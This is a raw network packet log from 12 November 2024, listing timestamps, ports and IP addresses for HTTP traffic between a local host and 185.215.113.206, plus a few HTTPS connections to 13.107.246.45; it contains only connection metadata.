Nov 12, 2024 06:23:37.875792027 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.875801086 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.875808001 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.875819921 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.875832081 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.875853062 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.875864983 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.875870943 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.875870943 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.875893116 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.875902891 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.875912905 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.875926971 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.875943899 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.875957012 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.875962973 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.875983953 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.875993013 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.875993013 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.876008987 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.876019001 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.876027107 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.876044989 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.876061916 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.876071930 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.876082897 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.876100063 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.876104116 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.876127005 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.876146078 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.876152992 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.876163006 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.876179934 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.876199961 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.876208067 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.876218081 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.876225948 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.876239061 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.876257896 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.876266956 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.876286030 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.876292944 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.876302004 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.876313925 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.876329899 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.876341105 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.876353979 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.876363039 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.876382113 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.876389027 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.876399994 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.876408100 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.876420975 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.876429081 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.876446962 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.876455069 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.876463890 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.876481056 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.876494884 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.876499891 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.876522064 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.876533031 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.876540899 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.876550913 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.876574039 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.876581907 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.876593113 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.876620054 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.876626015 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.876646996 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.876657009 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.876667023 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.876676083 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.876693964 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.876701117 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.876713991 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.876719952 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.876741886 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.876753092 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.876758099 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.876764059 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.876780033 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.876792908 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.876799107 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.876817942 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.876828909 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.876837015 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.876848936 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.876866102 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.876893997 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.876940966 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.876950979 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.876996994 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.876996994 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.877029896 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.877039909 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.877063990 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.877074957 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.877091885 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.877120018 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.877132893 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.877132893 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.877145052 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.877157927 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.877165079 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.877165079 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.877178907 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.877197027 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.877202988 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.877213955 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.877219915 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.877237082 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.877249002 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.877254009 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.877254009 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.877268076 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.877283096 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.877295017 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.877300024 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.877315044 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.877334118 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.877341986 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.877352953 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.877360106 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.877372980 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.877387047 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.877403021 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.877408028 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.877419949 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.877430916 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.877454996 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.877465010 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.877480984 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.877480984 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.877501011 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.877511978 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.877520084 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.877531052 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.877541065 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.877564907 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.877580881 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.877585888 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.877585888 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.877609968 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.877618074 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.877618074 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.877633095 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.877643108 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.877651930 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.877674103 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.877685070 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.877702951 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.877711058 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.877722025 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.877741098 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.877751112 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.877758980 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.877769947 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.877789021 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.877799034 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.877811909 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.877827883 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.877847910 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.877847910 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.877855062 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.877873898 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.880867958 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.882498026 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.882513046 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.882529020 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.882550001 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.882585049 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.884422064 CET	443	54571	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:37.884516001 CET	443	54571	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:37.884680986 CET	54571	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:37.884752989 CET	54571	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:37.884752989 CET	54571	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:37.884761095 CET	443	54571	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:37.884767056 CET	443	54571	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:37.886967897 CET	54584	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:37.886995077 CET	443	54584	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:37.887166023 CET	54584	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:37.887310028 CET	54584	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:37.887322903 CET	443	54584	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:37.914280891 CET	443	54572	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:37.914330959 CET	443	54572	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:37.917700052 CET	54572	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:37.917700052 CET	54572	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:37.917875051 CET	54572	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:37.917884111 CET	443	54572	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:37.919696093 CET	54585	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:37.919722080 CET	443	54585	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:37.920063019 CET	54585	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:37.920159101 CET	54585	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:37.920170069 CET	443	54585	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:37.951919079 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.951940060 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.951956987 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.951968908 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.952061892 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.990320921 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.995117903 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.265726089 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.265749931 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.265763044 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.265774965 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:38.265784979 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.265791893 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:38.265805006 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.265811920 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:38.265822887 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.265836000 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.265841007 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:38.265851021 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:38.265866041 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:38.265873909 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.265885115 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.265902042 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.265906096 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:38.265916109 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:38.265930891 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:38.265937090 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.265952110 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.265960932 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.265968084 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:38.265978098 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:38.265990973 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:38.265996933 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.266005993 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.266021967 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.266026974 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:38.266037941 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:38.266052961 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:38.266063929 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.266093016 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.266098022 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:38.266110897 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.266124964 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.266134977 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.266140938 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:38.266154051 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.266166925 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:38.266175985 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.266181946 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:38.266196012 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.266201973 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:38.266222000 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:38.266232014 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.266244888 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.266262054 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:38.266277075 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.266284943 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:38.266297102 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.266304016 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:38.266314983 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.266321898 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:38.266341925 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:38.266346931 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.266357899 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.266374111 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.266386986 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:38.266397953 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:38.266405106 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.266415119 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.266433001 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:38.266441107 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.266450882 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.266458988 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:38.266469955 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:38.266478062 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.266489029 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:38.266508102 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.266513109 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:38.266526937 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.266539097 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:38.266546965 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.266554117 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:38.266567945 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.266578913 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:38.266585112 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.266598940 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:38.266606092 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.266618013 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:38.266639948 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.266644955 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:38.266657114 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.266670942 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.266675949 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:38.266689062 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.266695023 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:38.266711950 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:38.266722918 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.266727924 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:38.266741991 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.266753912 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:38.266758919 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.266778946 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:38.266787052 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.266794920 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:38.266807079 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.266813993 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:38.266836882 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.266851902 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.266860962 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:38.266870975 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.266877890 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:38.266891003 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:38.266904116 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.266912937 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:38.266926050 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.266941071 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.266949892 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.266956091 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:38.266968966 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.266980886 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:38.266993046 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.266999960 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:38.267020941 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:38.267025948 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.267035961 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.267056942 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:38.267064095 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.267076969 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.267090082 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.267107010 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.267112970 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:38.267123938 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:38.267131090 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.267153025 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:38.267158985 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.267174006 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:38.267183065 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:38.267189026 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.267199039 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.267215967 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.267225981 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:38.267235041 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.267246962 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:38.267251015 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:38.267262936 CET	80	49779	185.215.113.206	192.168.2.5
